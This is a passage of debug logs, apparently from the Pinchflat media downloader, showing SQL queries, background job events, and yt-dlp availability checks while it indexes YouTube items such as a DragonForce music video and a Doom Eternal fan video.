("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🐲📢💙 DragonForce Announce New Vocalist & Frontwoman, Alissa White-Gluz.\n🎟️ Inhuman Rampage 20th Anniversary Tour Dates, Tickets & Limited VIP Upgrades: https://dragonforce.com/shows/\n\nDragonForce Through the Fire and Flames is the platinum selling record of the album 'Inhuman Rampage'. This classic was also featured on the video game Guitar Hero III - Legends of Rock as the hardest song to beat. DragonForce's musical style is called Extreme Power Metal! This song was uploaded many times in the early days of YouTube but this was the first! Yes, we know it is a meme song of many memes! #dragonforce #hermanli #throughthefireandflames\n\nDragonForce is a Grammy nominated platinum selling metal band. For over 20 years, DragonForce have toured around the world and shared the stage with many amazing bands including Iron Maiden, Metallica, Megadeth, Helloween, Sabaton, Nightwish, Powerwolf, Amon Amarth, Hammerfall, Amaranthe, Blind Guardian, Stratovarius, Avenged Sevenfold, Five Finger Death Punch, Rhapsody and many more bands on Nuclear Blast Records, Napalm Records.\n\nSUBSCRIBE ► https://www.youtube.com/c/dragonforce?sub_confirmation=1\nENABLE ► Notification\nTWITCH LIVESTREAM ► https://twitch.tv/hermanli\nSCHEDULE ► https://twitch.tv/hermanli/schedule\nJoin Herman Li on Twitch for epic songwriting, live reactions, guitar playthrough, video gaming, gear reviews, special guest events and more!\nGet your Herman shout out to friends ► https://cameo.com/hermanli\n\nDRAGONFORCE\n🌏 Official Site ► https://dragonforce.com\n🎸 Tour Dates, Tickets & VIP ► https://dragonforce.com/shows\n👕 Merch ► https://dragonforce.com/shop\nBluesky ► https://bsky.app/profile/dragonforce.com\nFacebook ► https://facebook.com/dragonforce\nInstagram ► https://instagram.com/dragonforcehq\nRednote ► dragonforce\nTikTok ► https://tiktok.com/@dragonforce\nX/Twitter ► https://twitter.com/dragonforce\nYouTube ► https://youtube.com/dragonforce\n\nHERMAN LI\nOfficial Site ► https://hermanli.com\nBluesky ► https://bsky.app/profile/hermanli.com\nDiscord ► https://discord.gg/hermanli\nFacebook ► https://facebook.com/hermanli.online\nInstagram ► https://instagram.com/hermanli\nRednote ► HermanLi\nTikTok ► https://tiktok.com/@hermanli\nTwitch ► https://twitch.tv/hermanli\nX/Twitter ► https://twitter.com/hermanli\nYouTube ► https://youtube.com/hermanli\n\nDRAGONFORCE MUSIC\nAmazon https://amzn.to/3jOF1hN\niTunes https://apple.co/2P2xTjx\nSpotify https://open.spotify.com/artist/2pH3wEn4eYlMMIIQyKPbVR\nTidal https://bit.ly/348GDxn", "DRAGONFORCE - Through the Fire and Flames (Official Video)", "dfde9a0f-18fd-4a5a-88ba-6191a9211d09", false, "0jgrCKhxE1s", 300, false, "https://www.youtube.com/watch?v=0jgrCKhxE1s", 11, "/downloads/Grift/Grift/2006-12-26DRAGONFORCE - Through the Fire and Flames (Official Video)[0jgrCKhxE1s].m4a", false, false, 4, [], 1, ~U[2006-12-26 14:09:32Z], ~U[2026-07-24 02:20:51Z], ~U[2026-07-24 02:20:51Z], "🐲📢💙 DragonForce Announce New Vocalist & Frontwoman, Alissa White-Gluz.\n🎟️ Inhuman Rampage 20th Anniversary Tour Dates, Tickets & Limited VIP Upgrades: https://dragonforce.com/shows/\n\nDragonForce Through the Fire and Flames is the platinum selling record of the album 'Inhuman Rampage'. This classic was also featured on the video game Guitar Hero III - Legends of Rock as the hardest song to beat. DragonForce's musical style is called Extreme Power Metal! This song was uploaded many times in the early days of YouTube but this was the first! Yes, we know it is a meme song of many memes! #dragonforce #hermanli #throughthefireandflames\n\nDragonForce is a Grammy nominated platinum selling metal band. For over 20 years, DragonForce have toured around the world and shared the stage with many amazing bands including Iron Maiden, Metallica, Megadeth, Helloween, Sabaton, Nightwish, Powerwolf, Amon Amarth, Hammerfall, Amaranthe, Blind Guardian, Stratovarius, Avenged Sevenfold, Five Finger Death Punch, Rhapsody and many more bands on Nuclear Blast Records, Napalm Records.\n\nSUBSCRIBE ► https://www.youtube.com/c/dragonforce?sub_confirmation=1\nENABLE ► Notification\nTWITCH LIVESTREAM ► https://twitch.tv/hermanli\nSCHEDULE ► https://twitch.tv/hermanli/schedule\nJoin Herman Li on Twitch for epic songwriting, live reactions, guitar playthrough, video gaming, gear reviews, special guest events and more!\nGet your Herman shout out to friends ► https://cameo.com/hermanli\n\nDRAGONFORCE\n🌏 Official Site ► https://dragonforce.com\n🎸 Tour Dates, Tickets & VIP ► https://dragonforce.com/shows\n👕 Merch ► https://dragonforce.com/shop\nBluesky ► https://bsky.app/profile/dragonforce.com\nFacebook ► https://facebook.com/dragonforce\nInstagram ► https://instagram.com/dragonforcehq\nRednote ► dragonforce\nTikTok ► https://tiktok.com/@dragonforce\nX/Twitter ► https://twitter.com/dragonforce\nYouTube ► https://youtube.com/dragonforce\n\nHERMAN LI\nOfficial Site ► https://hermanli.com\nBluesky ► https://bsky.app/profile/hermanli.com\nDiscord ► https://discord.gg/hermanli\nFacebook ► https://facebook.com/hermanli.online\nInstagram ► https://instagram.com/hermanli\nRednote ► HermanLi\nTikTok ► https://tiktok.com/@hermanli\nTwitch ► https://twitch.tv/hermanli\nX/Twitter ► https://twitter.com/hermanli\nYouTube ► https://youtube.com/hermanli\n\nDRAGONFORCE MUSIC\nAmazon https://amzn.to/3jOF1hN\niTunes https://apple.co/2P2xTjx\nSpotify https://open.spotify.com/artist/2pH3wEn4eYlMMIIQyKPbVR\nTidal https://bit.ly/348GDxn", "DRAGONFORCE - Through the Fire and Flames (Official Video)", "0jgrCKhxE1s", 300, false, "https://www.youtube.com/watch?v=0jgrCKhxE1s", "/downloads/Grift/Grift/2006-12-26DRAGONFORCE - Through the Fire and Flames (Official Video)[0jgrCKhxE1s].m4a", false, 4, ~U[2006-12-26 14:09:32Z]] 22:20:51.641 [debug] QUERY OK source="sources" db=0.2ms idle=720.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:51.641 [debug] QUERY OK source="media_profiles" db=0.2ms idle=317.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:51.642 [debug] QUERY OK source="media_items" db=0.3ms idle=317.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [131] 22:20:51.642 [debug] Current batch of media processed. Will check again in 1000ms 22:20:51.919 [debug] Current batch of media processed. Will check again in 1000ms 22:20:52.643 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Welcome to my first Doom Eternal video.\nHope you enjoy it.\n\nLinks to music used in the video:\n\n- (GeoffPlaysGuitar) https://youtu.be/qTsgfcoFoyA\n- (2WEi) https://youtu.be/PRVzHdgpLsA\n\nProgram:\nDaVinci Resolve 18\n\nMy Computer:\nMother Board - AsRock B560 Pro4\nProcesor - i5 11400f\nGraphics Card - Rtx 3070 (Gainward Phoenix)\nRam - 32GB 3200MHz cl16 (GOODRAM) \nMemory - 1TB SSD M.2 (Samsung 980)", "duration" => 179, "filename" => "/downloads/Grift/Grift/2022-10-31Slayer's Paradise (2WEI - Gangsta´s Paradise) "Doom Eternal - Cinematic Trailer"[fnTZh-EDOAs].m4a", "id" => "fnTZh-EDOAs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=fnTZh-EDOAs", "playlist_index" => 12, "timestamp" => 1667244611, "title" => "Slayer's Paradise (2WEI - Gangsta´s Paradise) \"Doom Eternal - Cinematic Trailer\"", "upload_date" => "20221031"} 22:20:52.643 [debug] QUERY OK source="sources" db=0.4ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:20:52.644 [debug] QUERY OK source="sources" db=0.3ms idle=1002.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:52.644 [debug] QUERY OK source="media_items" db=0.1ms idle=1002.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-31 19:30:11Z], 4] 22:20:52.871 [debug] QUERY OK source="media_items" db=226.9ms idle=1002.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Welcome to my first Doom Eternal video.\nHope you enjoy it.\n\nLinks to music used in the video:\n\n- (GeoffPlaysGuitar) https://youtu.be/qTsgfcoFoyA\n- (2WEi) https://youtu.be/PRVzHdgpLsA\n\nProgram:\nDaVinci Resolve 18\n\nMy Computer:\nMother Board - AsRock B560 Pro4\nProcesor - i5 11400f\nGraphics Card - Rtx 3070 (Gainward Phoenix)\nRam - 32GB 3200MHz cl16 (GOODRAM) \nMemory - 1TB SSD M.2 (Samsung 980)", "Slayer's Paradise (2WEI - Gangsta´s Paradise) \"Doom Eternal - Cinematic Trailer\"", "f28c87b3-ff3f-4ef4-afcc-a1f0a0fd4bda", false, "fnTZh-EDOAs", 179, false, "https://www.youtube.com/watch?v=fnTZh-EDOAs", 12, "/downloads/Grift/Grift/2022-10-31Slayer's Paradise (2WEI - Gangsta´s Paradise) "Doom Eternal - Cinematic Trailer"[fnTZh-EDOAs].m4a", false, false, 4, [], 1, ~U[2022-10-31 19:30:11Z], ~U[2026-07-24 02:20:52Z], ~U[2026-07-24 02:20:52Z], "Welcome to my first Doom Eternal video.\nHope you enjoy it.\n\nLinks to music used in the video:\n\n- (GeoffPlaysGuitar) https://youtu.be/qTsgfcoFoyA\n- (2WEi) https://youtu.be/PRVzHdgpLsA\n\nProgram:\nDaVinci Resolve 18\n\nMy Computer:\nMother Board - AsRock B560 Pro4\nProcesor - i5 11400f\nGraphics Card - Rtx 3070 (Gainward Phoenix)\nRam - 32GB 3200MHz cl16 (GOODRAM) \nMemory - 1TB SSD M.2 (Samsung 980)", "Slayer's Paradise (2WEI - Gangsta´s Paradise) \"Doom Eternal - Cinematic Trailer\"", "fnTZh-EDOAs", 179, false, "https://www.youtube.com/watch?v=fnTZh-EDOAs", "/downloads/Grift/Grift/2022-10-31Slayer's Paradise (2WEI - Gangsta´s Paradise) "Doom Eternal - Cinematic Trailer"[fnTZh-EDOAs].m4a", false, 4, ~U[2022-10-31 19:30:11Z]] 22:20:52.872 [debug] QUERY OK source="sources" db=0.2ms idle=950.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:52.872 [debug] QUERY OK source="media_profiles" db=0.1ms idle=228.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:52.873 [debug] QUERY OK source="media_items" db=0.1ms idle=228.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [132] 22:20:52.873 [debug] Current batch of media processed. Will check again in 1000ms 22:20:52.920 [debug] Current batch of media processed. Will check again in 1000ms 22:20:53.145 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=-qTzjBAeTCQ --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/04/51/045183f6dab07ad9d69851ac03f4fcd7c302c1c07a2daf0c6908beba2073e233.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] -qTzjBAeTCQ: Video unavailable. This video is not available 22:20:53.145 [error] yt-dlp download error for media item #169: "ERROR: [youtube] -qTzjBAeTCQ: Video unavailable. This video is not available\n" 22:20:53.145 [error] yt-dlp download will not be retried: "ERROR: [youtube] -qTzjBAeTCQ: Video unavailable. This video is not available\n" 22:20:53.271 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=kT3eHvwlytw --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/53/4c/534cb51ec39de18e94e88af5ca3cc5070a9ffb9b79a38ab93a568d31c9aa8773.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] kT3eHvwlytw: Video unavailable. This video is not available 22:20:53.271 [error] yt-dlp download error for media item #176: "ERROR: [youtube] kT3eHvwlytw: Video unavailable. This video is not available\n" 22:20:53.271 [error] yt-dlp download will not be retried: "ERROR: [youtube] kT3eHvwlytw: Video unavailable. This video is not available\n" 22:20:53.307 [info] {"args":{"id":169},"id":206,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":7958496,"event":"job:stop","queue_time":3036697,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:53.484 [info] {"args":{"id":179},"id":208,"meta":{},"system_time":1784859653483864701,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:53.485 [debug] QUERY OK source="media_items" db=0.5ms idle=611.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [179] 22:20:53.485 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:20:53.486 [debug] QUERY OK source="sources" db=0.5ms idle=563.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:53.659 [info] {"args":{"id":176},"id":207,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":7754271,"event":"job:stop","queue_time":5192736,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:53.659 [debug] QUERY OK source="media_profiles" db=0.7ms queue=172.3ms idle=178.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:53.660 [debug] QUERY OK source="media_items" db=0.5ms idle=176.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [179] 22:20:53.661 [debug] QUERY OK source="media_metadata" db=0.2ms idle=176.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [179] 22:20:53.662 [debug] QUERY OK source="media_profiles" db=0.3ms idle=175.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:53.663 [debug] QUERY OK source="settings" db=0.1ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:53.663 [debug] Running yt-dlp command for action: get_downloadable_status 22:20:53.664 [debug] QUERY OK source="settings" db=0.0ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:53.664 [debug] QUERY OK source="settings" db=0.1ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:53.664 [debug] QUERY OK source="settings" db=0.0ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:53.664 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=dfwMShnhm9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/99/4a/994a3359fa7d37398a3a6739e05c73ee102775c72233d009e26e9ef533e04ba9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:20:53.811 [info] {"args":{"id":180},"id":209,"meta":{},"system_time":1784859653811143456,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:53.811 [debug] QUERY OK source="media_items" db=0.1ms idle=148.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [180] 22:20:53.811 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:20:53.812 [debug] QUERY OK source="sources" db=0.2ms idle=147.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:53.812 [debug] QUERY OK source="media_profiles" db=0.1ms idle=147.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:53.812 [debug] QUERY OK source="media_items" db=0.1ms idle=148.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [180] 22:20:53.818 [debug] QUERY OK source="media_metadata" db=0.1ms idle=7.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [180] 22:20:53.818 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", 